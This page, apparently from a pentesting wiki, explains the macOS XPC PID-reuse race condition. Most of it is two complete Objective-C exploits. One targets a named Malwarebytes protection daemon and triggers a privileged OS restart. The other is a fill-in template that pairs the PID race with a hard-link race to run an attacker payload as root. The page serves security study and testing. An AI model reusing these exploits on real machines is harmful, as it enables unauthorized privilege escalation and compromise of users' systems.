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macOS PID Reuse

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PID Reuse

When a macOS XPC service is checking the called process based on the PID and not on the audit token, it's vulnerable to PID reuse attack. This attack is based on a race condition where an exploit is going to send messages to the XPC service abusing the functionality and just after that, executing posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) with the allowed binary.

This function will make the allowed binary own the PID but the malicious XPC message would have been sent just before. So, if the XPC service use the PID to authenticate the sender and checks it AFTER the execution of posix_spawn, it will think it comes from an authorized process.

Exploit example

If you find the function shouldAcceptNewConnection or a function called by it calling processIdentifier and not calling auditToken. It highly probable means that it's verifying the process PID and not the audit token.
Like for example in this image (taken from the reference):

https://wojciechregula.blog/images/2020/04/pid.png

Check this example exploit (again, taken from the reference) to see the 2 parts of the exploit:

  • One that generates several forks
  • Each fork will send the payload to the XPC service while executing posix_spawn just after sending the message.

{% hint style="danger" %} For the exploit to work it's important to export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES or to put inside the exploit:

asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

{% endhint %}

{% tabs %} {% tab title="NSTasks" %} First option using NSTasks and argument to launch the children to exploit the RC

// Code from https://wojciechregula.blog/post/learn-xpc-exploitation-part-2-say-no-to-the-pid/
// gcc -framework Foundation expl.m -o expl

#import <Foundation/Foundation.h>
#include <spawn.h>
#include <sys/stat.h>

#define RACE_COUNT 32
#define MACH_SERVICE @"com.malwarebytes.mbam.rtprotection.daemon"
#define BINARY "/Library/Application Support/Malwarebytes/MBAM/Engine.bundle/Contents/PlugIns/RTProtectionDaemon.app/Contents/MacOS/RTProtectionDaemon"

// allow fork() between exec()
asm(".section __DATA,__objc_fork_ok\n"
"empty:\n"
".no_dead_strip empty\n");

extern char **environ;

// defining necessary protocols
@protocol ProtectionService
- (void)startDatabaseUpdate;
- (void)restoreApplicationLauncherWithCompletion:(void (^)(BOOL))arg1;
- (void)uninstallProduct;
- (void)installProductUpdate;
- (void)startProductUpdateWith:(NSUUID *)arg1 forceInstall:(BOOL)arg2;
- (void)buildPurchaseSiteURLWithCompletion:(void (^)(long long, NSString *))arg1;
- (void)triggerLicenseRelatedChecks;
- (void)buildRenewalLinkWith:(NSUUID *)arg1 completion:(void (^)(long long, NSString *))arg2;
- (void)cancelTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)startTrialWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)unredeemLicenseKeyWith:(NSUUID *)arg1 completion:(void (^)(long long))arg2;
- (void)applyLicenseWith:(NSUUID *)arg1 key:(NSString *)arg2 completion:(void (^)(long long))arg3;
- (void)controlProtectionWithRawFeatures:(long long)arg1 rawOperation:(long long)arg2;
- (void)restartOS;
- (void)resumeScanJob;
- (void)pauseScanJob;
- (void)stopScanJob;
- (void)startScanJob;
- (void)disposeOperationBy:(NSUUID *)arg1;
- (void)subscribeTo:(long long)arg1;
- (void)pingWithTag:(NSUUID *)arg1 completion:(void (^)(NSUUID *, long long))arg2;
@end

void child() {

    // send the XPC messages
    NSXPCInterface *remoteInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProtectionService)];
    NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:MACH_SERVICE options:NSXPCConnectionPrivileged];
    xpcConnection.remoteObjectInterface = remoteInterface;

    [xpcConnection resume];
    [xpcConnection.remoteObjectProxy restartOS];

    char target_binary[] = BINARY;
    char *target_argv[] = {target_binary, NULL};
    posix_spawnattr_t attr;
    posix_spawnattr_init(&attr);
    short flags;
    posix_spawnattr_getflags(&attr, &flags);
    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
    posix_spawnattr_setflags(&attr, flags);
    posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

bool create_nstasks() {

    NSString *exec = [[NSBundle mainBundle] executablePath];
    NSTask *processes[RACE_COUNT];

    for (int i = 0; i < RACE_COUNT; i++) {
        processes[i] = [NSTask launchedTaskWithLaunchPath:exec arguments:@[ @"imanstask" ]];
    }

    int i = 0;
    struct timespec ts = {
        .tv_sec = 0,
        .tv_nsec = 500 * 1000000,
    };

    nanosleep(&ts, NULL);
    if (++i > 4) {
        for (int i = 0; i < RACE_COUNT; i++) {
            [processes[i] terminate];
        }
        return false;
    }

    return true;
}

int main(int argc, const char * argv[]) {

    if(argc > 1) {
        // called from the NSTasks
        child();

    } else {
        NSLog(@"Starting the race");
        create_nstasks();
    }

    return 0;
}

{% endtab %}

{% tab title="fork" %} This example uses a raw fork to launch children that will exploit the PID race condition and then exploit another race condition via a Hard link:

// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl

#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>

// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end

// Global flag to track exploitation status
bool pwned = false;

/**
 * Continuously overwrite the contents of the 'hard_link' file in a race condition to make the 
 * XPC service verify the legit binary and then execute as root out payload.
 */
void *check_race(void *arg) {
    while(!pwned) {
        // Overwrite with contents of the legit binary
        system("cat ./legit_bin > hard_link");
        usleep(50000);

        // Overwrite with contents of the payload to execute
        // TODO: COMPILE YOUR OWN PAYLOAD BIN
        system("cat ./payload > hard_link");
        usleep(50000);
    }
    return NULL;
}

void child_xpc_pid_rc_abuse(){
    // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
    #define kValid "./Legit Updater.app/Contents/MacOS/Legit"
    extern char **environ;

    // Connect with XPC service
    // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
    NSString*  service_name = @"com.example.Helper";
    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
    // TODO: CNAGE THE PROTOCOL NAME
    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
    [connection setRemoteObjectInterface:interface];
    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
        NSLog(@"[-] Something went wrong");
        NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"obj: %@", obj);
    NSLog(@"conn: %@", connection);

    // Call vulenrable XPC function
    // TODO: CHANEG NAME OF FUNCTION TO CALL
    [obj DoSomething:^(_Bool b){
        NSLog(@"Response, %hdd", b);
    }];

    // Change current process to the legit binary suspended
    char target_binary[] = kValid;
    char *target_argv[] = {target_binary, NULL};
    posix_spawnattr_t attr;
    posix_spawnattr_init(&attr);
    short flags;
    posix_spawnattr_getflags(&attr, &flags);
    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
    posix_spawnattr_setflags(&attr, flags);
    posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}

/**
 * Function to perform the PID race condition using children calling the XPC exploit.
 */
void xpc_pid_rc_abuse() {
    #define RACE_COUNT 1
    extern char **environ;
    int pids[RACE_COUNT];

    // Fork child processes to exploit
    for (int i = 0; i < RACE_COUNT; i++) {
        int pid = fork();
        if (pid == 0) {  // If a child process
            child_xpc_pid_rc_abuse();
        }
        printf("forked %d\n", pid);
        pids[i] = pid;
    }

    // Wait for children to finish their tasks
    sleep(3);

    // Terminate child processes
    for (int i = 0; i < RACE_COUNT; i++) {
        if (pids[i]) {
            kill(pids[i], 9);
        }
    }
}

int main(int argc, const char * argv[]) {
    // Create and set execution rights to 'hard_link' file
    system("touch hard_link");
    system("chmod +x hard_link");
    
    // Create thread to exploit sign verification RC
    pthread_t thread;
    pthread_create(&thread, NULL, check_race, NULL);

    while(!pwned) {
        // Try creating 'download' directory, ignore errors
        system("mkdir download 2>/dev/null");

        // Create a hardlink
        // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
        system("ln hard_link download/legit_bin");

        xpc_pid_rc_abuse();
        usleep(10000);

        // The payload will generate this file if exploitation is successfull
        if (access("/tmp/pwned", F_OK ) == 0) {
            pwned = true;
        }
    }

    return 0;
}

{% endtab %} {% endtabs %}

Other examples

Refereces

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{% endhint %}